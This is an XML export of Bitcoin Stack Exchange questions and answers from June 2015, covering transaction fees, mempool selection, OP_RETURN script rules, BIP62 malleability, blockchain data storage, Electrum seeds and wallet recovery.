  <row Id="37983" PostTypeId="2" ParentId="37947" CreationDate="2015-06-15T08:32:35.157" Score="1" Body="&lt;p&gt;You could setup a &lt;a href=&quot;https://en.wikipedia.org/wiki/Cron&quot; rel=&quot;nofollow&quot;&gt;cronjob&lt;/a&gt; to run &lt;a href=&quot;https://bitcoin.org/en/developer-reference#createrawtransaction&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;createrawtransaction&lt;/code&gt;&lt;/a&gt;, &lt;a href=&quot;https://bitcoin.org/en/developer-reference#sendrawtransaction&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;sendrawtransaction&lt;/code&gt;&lt;/a&gt;, etc. commands monthly. Cf. &quot;&lt;a href=&quot;http://chimera.labs.oreilly.com/books/1234000001802/ch03.html#_creating_signing_and_submitting_transactions_based_on_phrase_role_keep_together_unspent_outputs_phrase&quot; rel=&quot;nofollow&quot;&gt;Creating, Signing, and Submitting Transactions Based on Unspent Outputs&lt;/a&gt;&quot; of &lt;em&gt;&lt;a href=&quot;http://chimera.labs.oreilly.com/books/1234000001802/index.html&quot; rel=&quot;nofollow&quot;&gt;Mastering Bitcoin&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4334" LastActivityDate="2015-06-15T08:32:35.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37985" PostTypeId="2" ParentId="37982" CreationDate="2015-06-15T09:47:10.497" Score="0" Body="&lt;p&gt;All nodes (not just mining ones) maintain something called a mempool, a collection of all of the validated transactions they have seen on the network which have not made it into blocks so far. A miner is free to take all of them that will fit, a subset which satisfy their own requirements, or none of these transactions and assemble them into a candidate block. The block they assemble is invalid until they find proof of work that satisfies the current difficulty, if they find the correct nonce for that block it becomes valid and they can broadcast it to the network. If someone else finds a block before they do, the candidate block is discarded and a new one assembled to work against. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-06-15T09:47:10.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37987" PostTypeId="1" CreationDate="2015-06-15T12:09:11.377" Score="6" ViewCount="896" Body="&lt;p&gt;Some time ago I started wondering: what if we create a new coin and use its Blockchain to store a website content?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is P2P, that way it is almost impossible to block bitcoin. Everything in the ledger is public and saved for eternity, would be good for some subreddits which were deleted recently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What if the mining process would be just making backup of already existing specified social media websites?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any similar projects, which could be used as a base?&lt;/p&gt;&#xA;" OwnerUserId="9313" LastEditorUserId="5406" LastEditDate="2021-02-01T19:12:46.933" LastActivityDate="2021-02-01T19:12:46.933" Title="Blockchain as a way to host truly free social website like reddit" Tags="|altcoin-development|blockchain-data-storage|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="37989" PostTypeId="2" ParentId="37987" CreationDate="2015-06-15T15:12:26.153" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;Nobody will waste his disk space for storing blockchain.&lt;/li&gt;&#xA;&lt;li&gt;Nobody will spend money for mining blocks.&lt;/li&gt;&#xA;&lt;li&gt;It will be very easy and very cheap for dishonest person to &quot;doublespend&quot; such currency.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2015-06-15T15:12:26.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37990" PostTypeId="2" ParentId="37980" CreationDate="2015-06-15T15:15:22.533" Score="1" Body="&lt;p&gt;Point (6) does not eliminate this source of malleability. Rather, point (2) of BIP62 disallows all three modifications you suggested. BIP62 describes the problem:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Non-push operations in scriptSig&lt;/strong&gt; Any sequence of script operations in scriptSig that results in the intended data pushes, but is not just a push of that data, results in an alternative transaction with the same validity.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And the proposed solution:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Non-push operations in scriptSig&lt;/strong&gt; Only data pushes are allowed in scriptSig. Evaluating any other operation makes the script evaluate to false. See reference: Push operators.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-06-17T13:53:43.337" LastActivityDate="2015-06-17T13:53:43.337" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37992" PostTypeId="1" CreationDate="2015-06-15T16:12:43.007" Score="1" ViewCount="444" Body="&lt;p&gt;When I call &lt;code&gt;estimatefee 1&lt;/code&gt; in testnet it returns: 0.00044444&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then when I call &lt;code&gt;sendtoaddress xxxxxx 0,1&lt;/code&gt; (which got the first confirmation within a couple of minutes after sending) I see that the fee included is: 0.00001662 BTC, which is about 27 times smaller that the original estimate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="14319" LastEditorUserId="14319" LastEditDate="2015-06-17T01:49:47.910" LastActivityDate="2015-06-17T07:50:04.387" Title="Estimatefee value not corresponding to actual fee" Tags="|json-rpc|transaction-fees|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37993" PostTypeId="2" ParentId="37947" CreationDate="2015-06-15T16:16:48.827" Score="0" Body="&lt;p&gt;It is possible. However, such a NO FEE transaction with small amount of Bitcoin involved could delay your transaction. Your transaction might stay unconfirmed for a long time. &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is basic idea to make a no-fee transaction:&#xA;&lt;li&gt;Split your one of your unspent_transaction_output into two part. UTXO_1 and UTXO_2&lt;/li&gt;&#xA;&lt;li&gt; Send UTXO_1 to receiver's address; send UTXO_2 to your own address &lt;/li&gt;&#xA;&lt;li&gt; Make sure that UTXO_1 + UTXO_2 == your unspent_transaction_output &lt;/li&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Follow this link to make a no-fee transaction.&#xA;&lt;a href=&quot;https://bitcoin.org/en/developer-examples#simple-spending&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/en/developer-examples#simple-spending&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24601" LastActivityDate="2015-06-15T16:16:48.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37994" PostTypeId="2" ParentId="37947" CreationDate="2015-06-15T16:36:21.047" Score="3" Body="&lt;p&gt;The Blockcypher Microtransaction API is free, they eat the transaction fee's for you if you're looking to send small and free transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://dev.blockcypher.com/&quot; rel=&quot;nofollow&quot;&gt;http://dev.blockcypher.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26913" LastActivityDate="2015-06-15T16:36:21.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37995" PostTypeId="2" ParentId="37967" CreationDate="2015-06-15T16:43:01.857" Score="5" Body="&lt;p&gt;You can purchase any amount of Bitcoin, from $10 USD worth, to $100 USD worth, to a full Bitcoin. It is divisible up to eight decimal places, and you can purchase/send/receive any amount or fraction of a full coin. &lt;/p&gt;&#xA;" OwnerUserId="26913" LastActivityDate="2015-06-15T16:43:01.857" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37996" PostTypeId="2" ParentId="37987" CreationDate="2015-06-15T17:21:15.067" Score="3" Body="&lt;p&gt;You're looking for &lt;a href=&quot;https://en.wikipedia.org/wiki/Freenet&quot; rel=&quot;nofollow&quot;&gt;Freenet&lt;/a&gt;, a p2p plataform which is only different from your idea in the fact that, to avoid wasting disk space, Freenet deletes old and unpopular content.&lt;/p&gt;&#xA;" OwnerUserId="26857" LastActivityDate="2015-06-15T17:21:15.067" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37997" PostTypeId="1" AcceptedAnswerId="38080" CreationDate="2015-06-15T19:35:45.937" Score="0" ViewCount="1212" Body="&lt;p&gt;Does anyone know if the Virwox method (buying &quot;linden dollars&quot; with USD from PayPal, and then exchanging linden for BTC) still works, and what are the limits, and cost? (in late 2013, if I recall correctly, there was a $300~$400 USD monthly limit, and the effective cost was really high, around ~16%). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, does anybody know of any other reliable method, preferably automatic (hence, not localbitcoins) of buying BTC with PayPal? (by automatic I mean not depending on direct interaction with some other user).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know similar questions have already been asked, but they're old and some methods no longer work.&lt;/p&gt;&#xA;" OwnerUserId="15404" LastActivityDate="2015-08-19T04:02:43.367" Title="Buying BTC with PayPal, preferably automatic, mid 2015" Tags="|buy-bitcoins|paypal|" AnswerCount="3" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="37998" PostTypeId="1" CreationDate="2015-06-15T21:32:03.330" Score="7" ViewCount="6940" Body="&lt;p&gt;Is there a way to scan the Bitcoin blockchain in C# without using an external API? I am looking for the amount of spendable money of a Bitcoin address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using NBitcoin. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// create new key pair based on private key&#xA;NBitcoin.Key key = new NBitcoin.Key(privateKey, privateKey.Length, false);&#xA;&#xA;// parse blk*.dat&#xA;// get balance for address key.PubKey.Hash&#xA;// How to do that?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="26917" LastActivityDate="2017-07-26T08:07:52.817" Title="C# parse bitcoin blockchain to get balance of an address" Tags="|blockchain|c#|nbitcoin|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="37999" PostTypeId="1" CreationDate="2015-06-15T22:53:41.210" Score="1" ViewCount="493" Body="&lt;p&gt;During a recent discussion, it was asserted that a node running Bitcoin Core behind a firewall with port 8333 closed would still relay blocks/transactions to peers. Unsolicited connections would be blocked due to the closed port, but the node itself would still relay blocks and transactions to any connected peers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for a good resource that settles the issue. Where can I find one?&lt;/p&gt;&#xA;" OwnerUserId="10845" LastEditorUserId="47827" LastEditDate="2023-01-11T15:55:40.360" LastActivityDate="2023-01-11T15:55:40.360" Title="If port 8333 is closed, will a node relay transactions to its peers?" Tags="|bitcoin-core|port|firewall|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38000" PostTypeId="2" ParentId="37302" CreationDate="2015-06-15T23:49:21.103" Score="0" Body="&lt;p&gt;Check out: &lt;strong&gt;&lt;a href=&quot;http://www.righto.com/2014/09/mining-bitcoin-with-pencil-and-paper.html&quot; rel=&quot;nofollow&quot;&gt;Mining Bitcoin with pencil and paper&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="4334" LastActivityDate="2015-06-15T23:49:21.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38001" PostTypeId="1" CreationDate="2015-06-16T00:15:35.693" Score="3" ViewCount="11050" Body="&lt;p&gt;So I'm using an &lt;a href=&quot;https://www.bitmain.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;antminer&lt;/a&gt; s3. I have been on btc guild for about a week. Today they announce they are closing. So I looked around and figured I would join antpool. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is when I changed all my pool config, my antminer won't start. It turns on and the fans spin very slowly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I was on &lt;a href=&quot;https://en.bitcoin.it/wiki/BTC_Guild&quot; rel=&quot;nofollow noreferrer&quot;&gt;btc guild&lt;/a&gt; the miner ran right away. I'm not sure what the problem is. My miner stats say this section contains no values yet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I input everything the way it showed me on &lt;a href=&quot;https://en.bitcoin.it/wiki/AntPool&quot; rel=&quot;nofollow noreferrer&quot;&gt;antpools&lt;/a&gt; website. Any ideas what I'm doing wrong? Is there something else I need to change?&lt;/p&gt;&#xA;" OwnerUserId="26616" LastEditorUserId="5406" LastEditDate="2016-11-07T14:57:38.547" LastActivityDate="2018-11-09T17:41:06.970" Title="How to connect to antpool?" Tags="|mining-pools|miner-configuration|mining-hardware|asic|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38002" PostTypeId="2" ParentId="37999" CreationDate="2015-06-16T01:22:49.877" Score="1" Body="&lt;p&gt;Yes it will, connection directionality will not affect block and transaction relaying.&lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-06-16T01:22:49.877" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38003" PostTypeId="2" ParentId="37915" CreationDate="2015-06-16T01:27:50.310" Score="2" Body="&lt;p&gt;This question could be asked of any financial instrument. Volumes decreasing is not a bad or good sign. It's simply something that occurs when volatility decreases. The market theory behind it might go like this.. Price has fallen to such low points sellers are no longer interested in selling. Buyers are still hoping for lower prices. This effect causes the price to trade within a range where anytime the price rises to an acceptably high level sellers begin to sell again and any time it reaches an acceptably low level buyers begin to buy. As traders notice the price is range bound more traders stop trading. This compounds decreasing volumes and also decreases the trading range. Eventually this will lead to reduced trading interest which can then lead to the price breaking out of the range in the direction of least resistance (as traders give up their respective buying or selling).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry there is no provable answer to your question, as this is all market theory. However, if you were to look at different financial instruments historical volumes you would see many instances similar to what is currently happening in bitcoin's market volumes. This is a common pattern in markets and is normally described as not predictive of future events (range trading is often thought as having a random breakout direction).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Triangle_%28chart_pattern%29#The_symmetrical_triangle&quot; rel=&quot;nofollow&quot;&gt;https://en.wikipedia.org/wiki/Triangle_%28chart_pattern%29#The_symmetrical_triangle&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26921" LastEditorUserId="26921" LastEditDate="2015-06-16T01:34:06.890" LastActivityDate="2015-06-16T01:34:06.890" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38004" PostTypeId="2" ParentId="37987" CreationDate="2015-06-16T03:58:15.867" Score="2" Body="&lt;p&gt;@amacilin's answer pretty much nailed it. But I wanted to counter a few such assertions /r/Bitcoin often makes about decentralised being better than centralised.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recently someone said something to the effect of &quot;Blockchain based storage/websites is the answer to the centralised server solutions, &lt;em&gt;which have been around forever&lt;/em&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is, centralised services have been around forever because:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;They work&lt;/li&gt;&#xA;&lt;li&gt;They work very well&lt;/li&gt;&#xA;&lt;li&gt;They're cheaper to maintain&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I know this isn't the question you asked specifically, but I thought it prudent to answer since often the excitement of &quot;can it be done?&quot; trumps &quot;&lt;strong&gt;should it be done?&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also pretty prudent to question how moderation would be done. Even if if you're a staunch anti-censorship/moderation supporter, I don't know how one would ever sort through the crap without needing some moderation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially what I'm saying is the &quot;issues&quot; with centralised servers are probably not worse than the problems with using a decentralised service. And this isn't even considering the privacy implications!&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-06-16T03:58:15.867" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38005" PostTypeId="2" ParentId="37997" CreationDate="2015-06-16T04:09:12.837" Score="1" Body="&lt;p&gt;I don't know of any services, especially automatic, which accept PayPal. LocalBitcoins will rarely have vendors accepting PayPal, and even then, it's going to be very much a reputation based judgement call. A vendor accepting PayPal has everything to lose (the Bitcoins and the PayPal money), so I'd be highly doubtful any service would even accept PayPal, let alone without identification or oversight. (Which begs the question, &lt;strong&gt;if you want privacy why are you using PayPal?&lt;/strong&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe try Bitcoin-OTC or &lt;a href=&quot;http://btcjam.com&quot; rel=&quot;nofollow&quot;&gt;BTCJam&lt;/a&gt; if you don't like &lt;a href=&quot;http://www.LocalBitcoins.com&quot; rel=&quot;nofollow&quot;&gt;LocalBitcoins&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-06-16T04:09:12.837" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38006" PostTypeId="1" AcceptedAnswerId="38049" CreationDate="2015-06-16T05:34:23.567" Score="1" ViewCount="360" Body="&lt;p&gt;what is the criteria for a txout script to be accepted into a mined block? is there any criteria at all? the reason i ask is that &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/e5f1f5a26399c7d36fa8e2c29ec411eea49b0a4c/src/script/interpreter.cpp#L397-L400&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;OP_RETURN&lt;/code&gt;&lt;/a&gt; is regularly used in txout scripts yet it is not spendable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;case OP_RETURN:&#xA;{&#xA;    return set_error(serror, SCRIPT_ERR_OP_RETURN);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and i have also &lt;a href=&quot;http://blockexplorer.com/tx/77822fd6663c665104119cb7635352756dfc50da76a92d417ec1a12c518fad69&quot; rel=&quot;nofollow&quot;&gt;seen transactions&lt;/a&gt; which push elements to the stack which are more than &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.10.0rc3/src/script/script.h#L18&quot; rel=&quot;nofollow&quot;&gt;MAX_SCRIPT_ELEMENT_SIZE&lt;/a&gt; bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i'm guessing that a syntactically incorrect script such as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;05aa&#xA;(ie OP_PUSHDATA(5) &amp;lt;aa&amp;gt;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;would not be permitted?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;could someone point me to the code which miners use to validate whether a tx will be included or discarded as invalid (due to its txout scripts). i'm guessing it lies in &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/e5f1f5a26399c7d36fa8e2c29ec411eea49b0a4c/src/main.cpp&quot; rel=&quot;nofollow&quot;&gt;main.cpp&lt;/a&gt;, but i would like to know where exactly, thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;obviously anybody can mine a block that is set up any way they like, but presumably there are fixed rules for whether it is considered valid or not - so other miners will know whether to use its hash as their prev-header-hash when mining the next block?&lt;/p&gt;&#xA;" OwnerUserId="2116" LastEditorUserId="2116" LastEditDate="2015-06-16T11:08:02.957" LastActivityDate="2015-06-17T23:26:08.650" Title="txout script criteria (scriptpubkey critieria)" Tags="|protocol|script|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38007" PostTypeId="2" ParentId="37987" CreationDate="2015-06-16T07:58:53.753" Score="3" Body="&lt;p&gt;you might be interested to know that the bitcoin blockchain can already be used to store arbitrary data. for example &lt;a href=&quot;https://bitcoin.org/bitcoin.pdf&quot; rel=&quot;nofollow&quot;&gt;the original whitepaper pdf that satoshi wrote&lt;/a&gt; explaining how bitcoin works has actually &lt;a href=&quot;https://blockexplorer.com/tx/54e48e5f5c656b26c3bca14a8c95aa583d07ebe84dde3b7dd4a78f4e4186e713&quot; rel=&quot;nofollow&quot;&gt;been uploaded to the blockchain&lt;/a&gt;. it was done using 948 outputs in a single transaction for a fee of 0.596175 btc ~ US$143.02 at the time i'm writing this. the whitepaper is only 180KB so the blockchain is not that cheap of a storage medium...&lt;/p&gt;&#xA;" OwnerUserId="2116" LastEditorUserId="2116" LastEditDate="2015-06-16T08:06:59.450" LastActivityDate="2015-06-16T08:06:59.450" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38008" PostTypeId="1" AcceptedAnswerId="38017" CreationDate="2015-06-16T08:02:16.460" Score="1" ViewCount="339" Body="&lt;p&gt;According to the article &lt;a href=&quot;http://cointelegraph.com/news/114568/us-vs-china-the-20-mb-miner-war-that-could-destroy-bitcoin&quot; rel=&quot;nofollow&quot;&gt;US vs. China: The 20 MB Miner War That Could Destroy Bitcoin (Op-Ed)&lt;/a&gt; critical decisions are about to be made regarding the size of Bitcoin blocks. Will this cause mining to be more profitable or less?&lt;/p&gt;&#xA;" OwnerUserId="24953" LastEditorUserId="5406" LastEditDate="2016-01-20T20:09:30.653" LastActivityDate="2016-01-20T20:09:30.653" Title="Will the upcoming block size increase be more profitable for miners, or less so?" Tags="|block-size-increase|mining-profitability|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38009" PostTypeId="2" ParentId="38006" CreationDate="2015-06-16T11:03:26.663" Score="3" Body="&lt;p&gt;Absolutely no &lt;em&gt;consensus&lt;/em&gt; validity checks are done on a &lt;code&gt;scriptPubKey&lt;/code&gt;. Nodes have soft requirements called IsStandard for what they will relay to their peers as a transaction (a completely junk script or very large OP_RETURN output for example will not pass) but these are not consensus rules. Some miners will mine non-standard transactions into their blocks, but generally to get a transaction to them a transport other than the P2P network needs to be used. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;OP_RETURN&lt;/code&gt; is a special case refereed to as &quot;provably un-spendable&quot;, this is a response to people jamming hashes and other data into &lt;code&gt;PubKeyHash&lt;/code&gt; outputs as a way of pegging them in time to the block chain. Due to there being no way of knowing if the output is actually valid or not these outputs must be stored forever in the UTXO pool. An &lt;code&gt;OP_RETURN&lt;/code&gt; prefixed output can absolutely never be spent, so nodes can safely forget that they ever existed. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-06-16T11:06:15.117" LastActivityDate="2015-06-16T11:06:15.117" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="38011" PostTypeId="1" AcceptedAnswerId="38027" CreationDate="2015-06-16T11:52:26.653" Score="2" ViewCount="839" Body="&lt;p&gt;Electrum 2.0 seeds (mnemonic phrases) are &lt;a href=&quot;https://github.com/spesmilo/electrum/blob/master/lib/mnemonic.py%23L149&quot; rel=&quot;nofollow&quot;&gt;created with a checksum based algorithm&lt;/a&gt; (such that the &lt;code&gt;hmac_sha512&lt;/code&gt; starts with &lt;code&gt;01&lt;/code&gt;. It's usually a 13 word seed, but can be 12 in some circumstances.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If all &lt;em&gt;12 word Electrum 2.x&lt;/em&gt; seeds were filtered such that they &lt;strong&gt;are not&lt;/strong&gt; &lt;a href=&quot;https://github.com/simcity4242/pybitcointools/blob/master/bitcoin/mnemonic.py%23L109&quot; rel=&quot;nofollow&quot;&gt;BIP39 compatible&lt;/a&gt;, what is the decrease in entropy going to be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;=&gt; The question pertains to &lt;a href=&quot;https://github.com/simcity4242/pybitcointools/&quot; rel=&quot;nofollow&quot;&gt;this Python code&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess the problem can be summed up as:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What is the percentage of 12 words Electrum 2.x seeds (relative to 13 word seeds)?&lt;/li&gt;&#xA;&lt;li&gt;What is the percentage of Electrum 2.x (12 word) seeds which do not meet the BIP39 standard? (The last word decides the checksum)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="9382" LastEditDate="2015-06-16T16:57:35.697" LastActivityDate="2018-12-22T02:32:27.493" Title="Ramifications of creating Electrum 2.x seeds which are not BIP39" Tags="|electrum|cryptography|mnemonic-seed|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38012" PostTypeId="1" AcceptedAnswerId="38016" CreationDate="2015-06-16T12:09:58.117" Score="0" ViewCount="1524" Body="&lt;p&gt;I just recieved a payment sent me bitcoins on my old multibit 0.5.18 wallet. I opened it up and didn't see it, so I refreshed the blockchain. When I did this my wallet crashed. When I started it back up I got a message saying could not load the wallet. I went to the directory $HOME/MultiBit/multibit-data/wallet-unenc-backup to load a backup and got the same message. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is their a way I can get the private keys out of the multibit.wallet file so I can build an unencrypted.key file. So I can send the bitcoins to my new Multibit HD wallet?&lt;/p&gt;&#xA;" OwnerUserId="6017" LastActivityDate="2015-06-16T13:41:11.403" Title="Recover multibit.wallet data" Tags="|wallet|multibit|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38013" PostTypeId="1" CreationDate="2015-06-16T12:20:12.947" Score="5" ViewCount="2926" Body="&lt;p&gt;This question is not a duplicate of &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/35347/can-miners-choose-which-transactions-to-mine&quot;&gt;Can miners choose which transactions to mine?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Everybody seems to agree on the fact that miners can select which transactions they are mining. But I can't find a way to do it!&#xA;I created a personal bitcoin network (testnet protocol) where I'm the only miner. I send transactions to my several (fake) nodes and get them all in the mempool.&lt;/p&gt;&#xA;&lt;p&gt;For demonstration purposes, I want some of the transactions (with high fees) to be includeed in the first block and the rest in the second one. I tried to use &lt;code&gt;prioritisetransaction&lt;/code&gt; (with my miner node) to do this but all the transactions went to the same block:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;bitcoin-cli prioritisetransaction txId1 5000 200&lt;/p&gt;&#xA;&lt;p&gt;bitcoin-cli prioritisetransaction txId2 0 -200&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I put arbitrary values, the goal is to mine Tx1 in the first block and Tx2 in the second or even after. How can I create such a behavior? Do I really need to put more than 1000 transactions to see my transactions going in different blocks?&lt;/p&gt;&#xA;&lt;p&gt;I will welcome any help, thank you in advance.&lt;/p&gt;&#xA;&lt;p&gt;EDIT: I'm adding a question to this post. On another lead to find a way to &amp;quot;choose&amp;quot; in wich block my transaction will be included I tried &amp;quot;estimatefee/priority&amp;quot; calls. In my private bitcoin network (height: 14.000 blocks) when I call:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;bitcoin-cli estimatefee X&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;whatever X (number of block before inclusion), the answer is &amp;quot;-1&amp;quot; which means that the network cannot estimate what I'm asking (should only append for high digits). Do I need more blocks in my Blockchain? More transactions? Same experiment in the real testnet, &lt;code&gt;estimatefee&lt;/code&gt; works but is really far from the reality and whatever the fee, all my transactions go to the first block.&lt;/p&gt;&#xA;" OwnerUserId="26850" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2018-03-19T18:07:04.297" Title="How can a miner choose which transaction to include in the next block?" Tags="|transactions|transaction-fees|transaction-selection|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38015" PostTypeId="1" CreationDate="2015-06-16T13:07:13.093" Score="1" ViewCount="440" Body="&lt;p&gt;I am looking into paying our overseas suppliers via bitcoin to speed up the process of settling invoices. The issue is that I don't want them to have to deal with bitcoin themselves. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is - is there an API available that I can use to build my app that will allow me to deposit BTC to any bank account number that I choose?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="26928" LastActivityDate="2015-07-05T12:20:46.217" Title="Send Bitcoin payments to any bank via API" Tags="|api|banks|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38016" PostTypeId="2" ParentId="38012" CreationDate="2015-06-16T13:41:11.403" Score="1" Body="&lt;p&gt;Is the wallet encrypted or not ?&#xA;If encrypted, then you will have some automatically generated exports of your private keys in the $HOME/MultiBit/multibit-data/key-backup directory. They are encrypted with your wallet password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can create a new wallet and import this file using Tools | Import private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also rolling backups (essentially old versions of your wallet) in the directory rolling-backup that you can open using File | Open wallet&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2015-06-16T13:41:11.403" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
